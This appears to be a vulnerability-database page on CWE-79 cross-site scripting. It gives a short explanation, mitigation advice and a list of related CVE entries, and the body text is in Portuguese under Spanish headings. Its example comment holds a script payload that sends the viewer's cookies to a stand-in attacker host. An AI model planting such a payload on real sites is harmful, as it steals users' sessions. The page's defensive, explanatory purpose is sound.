Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-24350—Visitors <= 0.3 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 1.3%CVE-2020-26249HIGHRemote Code Execution (RCE) Exploit on Cross Site Scripting (XSS) VulnerabilityEPSS 1.3%CVE-2024-2242MEDIUMContact Form 7 <= 5.9 - Reflected Cross-Site ScriptingEPSS 1.3%CVE-2022-42466MEDIUMXSS vulnerability, eg for String properties.EPSS 1.3%CVE-2023-33159HIGHMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 1.3%CVE-2020-0894MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.3%CVE-2020-0893MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.3%CVE-2023-23849HIGHVersions of Coverity Connect prior to 2022.12.0 are vulnerable to an unauthenticated Cross-Site Scripting vulnerability. Any web service hosEPSS 1.3%CVE-2022-0704MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.3%CVE-2022-22114CRITICALTeedy - Reflected Cross-Site Scripting (XSS) in the Search FunctionalityEPSS 1.3%CVE-2017-6789—A vulnerability in the Cisco Unified Intelligence Center web interface could allow an unauthenticated, remote attacker to impact the integriEPSS 1.3%CVE-2024-27313MEDIUMXSS VulnerabilityEPSS 1.3%CVE-2023-3479MEDIUMCross-site Scripting (XSS) - Reflected in hestiacp/hestiacpEPSS 1.3%CVE-2023-27636MEDIUMProgress Sitefinity before 15.0.0 allows XSS by authenticated users via the content form in the SF Editor.EPSS 1.3%CVE-2020-25702—In Moodle, it was possible to include JavaScript when re-naming content bank items. Versions affected: 3.9 to 3.9.2. This is fixed in moodleEPSS 1.3%CVE-2024-21327HIGHMicrosoft Dynamics 365 Customer Engagement Cross-Site Scripting VulnerabilityEPSS 1.3%CVE-2024-21798MEDIUMELECOM wireless LAN routers contain a cross-site scripting vulnerability. Assume that a malicious administrative user configures the affecteEPSS 1.3%CVE-2014-5411—Schneider Electric SCADA Expert ClearSCADA Cross-site ScriptingEPSS 1.3%CVE-2022-31358CRITICALA reflected cross-site scripting (XSS) vulnerability in Proxmox Virtual Environment prior to v7.2-3 allows remote attackers to execute arbitEPSS 1.3%CVE-2022-0831MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.3%